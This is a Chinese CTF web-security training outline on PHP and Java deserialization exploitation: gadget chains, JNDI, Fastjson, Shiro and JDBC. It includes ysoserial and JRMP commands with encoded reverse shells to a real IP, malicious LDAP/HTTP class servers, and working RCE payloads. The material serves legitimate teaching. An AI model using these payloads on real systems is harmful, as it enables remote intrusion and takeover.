Web培训
2022年8月5日 更新
开启更多功能,提升办公效能

PHP

PHP反序列化

入门资料


序列化、反序列化的概念

https://www.php.net/manual/zh/language.oop5.serialization.php



__destruct

__wakeup

__toString

__invoke -> 把对象当作方法的时候执行

__get -> 访问对象不存在的字段的时候

__call -> 访问对象不存在的方法的时候


(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2)wakeup() :unserialize()时会自动调用

(3)destruct():当对象被销毁时会自动调用。

(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5)get() :当从不可访问的属性读取数据

(6)call(): 在对象上下文中调用不可访问的方法时触发


https://xz.aliyun.com/t/2958

https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/


反序列化gadget挖掘

DDCTF2020-web4、WDB2020-phpweb


phar反序列化+compress.zlib绕过例题

phar反序列化:

https://paper.seebug.org/680/


dfjk2020-babyphp:

www.zip3.6KB


compress.zlib://phar:

Phar://

compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif


补充:过滤了__halt_compiler等phar字符怎么办



反序列化中protected/private/public区别

WDB2020-AreUSerialz


Laravel POPChain构造

phpggc laravel 1-7


Java

基础知识

javaweb ssm/ssh

ssm : spring springmvc mybatis

springboot


SSM审计

https://p0rz9.github.io/2019/05/11/SSM%E6%A1%86%E6%9E%B6%E5%AE%A1%E8%AE%A1%E6%80%9D%E8%B7%AF/

https://paper.seebug.org/1075/

SQL注入

ORM:mybatis、jpa

mybatis注入:${}和#{}的区别


XXE

http://www.lmxspace.com/2019/10/31/Java-XXE-%E6%80%BB%E7%BB%93/



Java反序列化

漏洞原理

反序列化时,通过调用被重写readObject方法的类,实现对恶意方法的调用。


Gadget

CommonsCollections系列

版本对应关系:

CommonsCollections3.2.1 -- 135...

CommonsCollections4 -- 24...


BadAttributeValueExpException.readObject
-> TiedMapEntry.toString
-> TiedMapEntry.getValue
-> LazyMap.get
-> ChainedTransformer.transform


操作:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS4xOTkuMjAzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"| base64


JRMPClient&JRMPListener

操作:

JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7475 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

JRMPClient:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 139.199.203.253:7475 | base64

nv -lv -p 7475


作用:绕过resolveClass中的黑名单过滤、Fuzz gadget


JRMP经典题目:

QWB2020-java


QWB2020-java-EXP:

raw_post_bytes.py0.5KB

Fuzz Gadget

  1. 使用burp的Deserialization Scanner



  1. 使用Evil JRMPListener


例题:

WDB2020-think_java


操作:

Step1. SqlDict接口注入拿到用户名密码,登陆获得bearer验证信息。


Step2. 发现bearer为base64过的信息,并且以rO0t开头,猜想为java序列化对象,使用上图方式fuzz gadget,发现可用gadget为rome

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | base64

nc -lv -p 1234


防御措施

  1. resolveClass, 通过继承ObjectInputStream,重写resolveClass方法,实现在反序列化的过程中对反序列化的类进行过滤,从而禁止危险类反序列化。
  1. SecurityManager来进行底层防御,防止RCE
  1. RASP
  1. 推荐阅读:https://xz.aliyun.com/t/7005
  1. 推荐阅读:https://xz.aliyun.com/t/8148


Java组件漏洞及利用姿势

JNDI注入

8u121-: 直接rmi结合codebase加载远程class

8u121-8u191:ldap+codebase加载远程class

8u191+:(1). 使用本地factory+elprocessor (2). 使用evil ldap + 本地gadget



操作

1. LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://vps:1234/#Exploit

2. HTTP Server
python3 -m http.server 1234
放Exploit.class

3. 触发
String url = "ldap://127.0.0.1:1389/Exploit";
Context namingContext = new InitialContext();
namingContext.lookup(url);


高版本JNDI注入


利用方式1:elprocessor,原理是通过本地工厂类loadClass加载elprocessor,然后通过BeanFactory的forceString属性强制设置setX为eval,从而rce

public class Server_191_elprocessor
{
public static void main( String[] args ) throws RemoteException, NamingException, AlreadyBoundException {
System.out.println("Creating RMI Registry, RMI Port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}


利用方式2:ldap反序列化,原理是通过在ldap server中,使javaSerializedData返回序列化的gadget实现反序列化rce

...
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");

try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator"| base64
String exp = "rO0ABXN...";
e.addAttribute("javaSerializedData",Base64.decode(exp));
} catch (ParseException e1) {
e1.printStackTrace();
}
...


FastJson漏洞利用


Fastjson漏洞版本

1.2.48-:无需开启autotype即可反序列化rce

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}


1.2.48+:需要开启autotype,并且反序列化的类不在黑名单中


Fastjson漏洞利用操作

Step1. 启动LDAPServer

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps:8088/#ExpFJ 1389


Step2. 启动对应vps:8088的http server,并将Step3编译好的class放在web目录下

python3 -m http.server 8088


Step3. 编译如下代码

// javac ExpFJ.java
import java.io.IOException;

public class ExpFJ {
    static {
try {
          Runtime rt = Runtime.getRuntime();
          String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/vps/4321 0>&1"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
    }
    public static void main(String[] argv){
        ExpFJ e = new ExpFJ();
    }
}


Step4. 在4321端口监听,并发送漏洞Payload

payload={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:1389/#Exploit","autoCommit":true}}


Shiro漏洞利用

漏洞1. 反序列化RCE

漏洞版本:

  1. 1.2.4-(shiro550),默认key,直接反序列化rce,算法为cbc

b. 1.4.2-(shiro721),需要padding oracle构造jrmp payload,算法改为gcm,如通过任意读拿到key也可rce


操作:

Step1. 启动JRMPListener

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1235 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"


Step2. 运行exp,注意ip,同时监听1234端口

exp.py1.7KB


注意:因为shiro自身类加载器对byte数组处理报错的原因的原因(?),并不能直接用commonscollections3系列payload攻击,所以使用JRMP绕过。

而我们的题目为springboot,因此不存在cc5反序列化报错的问题(?),而有一些部署环境为tomcat,这时候需要注意cc5不能用,需要使用JRMP。

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91


https://github.com/admintony/shiro_rememberMe_Rce/blob/master/gadget/CommonsCollectionsK1.class


漏洞2. 越权

漏洞版本:

1.5.2-,可以使用..;/绕过使用/*兜底的过滤

Shiro权限绕过史.pdf5.3MB

越权例题参考Day4下 shiro



JDBC反序列化

原理

ResultSetImpl的getObject方法中,当MySQL字段类型为BLOB时,会对数据进行反序列化,所以此处只要保证第1或第2字段为BLOB且存存储了我们的序列化数据,即可触发反序列化漏洞。 https://www.anquanke.com/post/id/203086


利用场景

jdbc连接串用户可控:

jackson MiniAdmin -> jdbc -> 任意文件读

-> jdbc -> 反序列化rce

fastjson同理

fj < 1.2.68 -> autoclosable

fj < 1.2.68 + mysql-connector-java.jar <5.x / =8.0.19


利用

https://github.com/fnmsd/MySQL_Fake_Server

连接串的user写config.json中的key,客户端发出连接请求,就能触发反序列化。



Java题目练习

第一题. shiro+jackson

链接:https://pan.baidu.com/s/1Z5imKq1fUmHPds6MrttQmg  密码:c67l


考点:

  1. shiro越权
  1. jackson反序列化
  1. 高版本JNDI注入


解题:

Step1. shiro越权

http://139.199.203.253:2222/login/..;/json


Step2. jackson反序列化

查看pom,发现使用了logback-core,因此可以使用该gadget进行反序列化

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "ldap://139.199.203.253:1389/#Exploit"}]


Step3. 高版本jndi注入

题目为jdk8u191,因此无法使用ldap reference+codebase的方式加载远程类。

这里采用evil ldap server实现cc5反序列化

def exp():
json=["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "ldap://vps:1389/#Exploit"}]
res = requests.post(url, json=json).text


第二题. springboot+反序列化

链接:https://pan.baidu.com/s/1E48L9yfxmf61l69AlAwrLA  密码:ge7u


考点:

  1. springboot项目审计
  1. 反序列化exp构造


exp:

public static void main(String[] args) throws Exception {
ClientInfo cinfo = new ClientInfo("admin", "webmanager", "1");
String b64payload = Base64.getEncoder().encodeToString(Tools.create(cinfo));
System.out.println(b64payload);
}


GET /ctf/showpic?file=/flag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: cinfo=rO0ABXNyABhjb20uY3RmLnRvb2xzLkNsaWVudEluZm8AAAAAAAAAAQIAA0wABWdyb3VwdAASTGphdmEvbGFuZy9TdHJpbmc7TAACaWRxAH4AAUwABG5hbWVxAH4AAXhwdAAKd2VibWFuYWdlcnQAATF0AAVhZG1pbg==;
Connection: close


第三题. RuoYi CMS

这里是springboot,用CC5也能打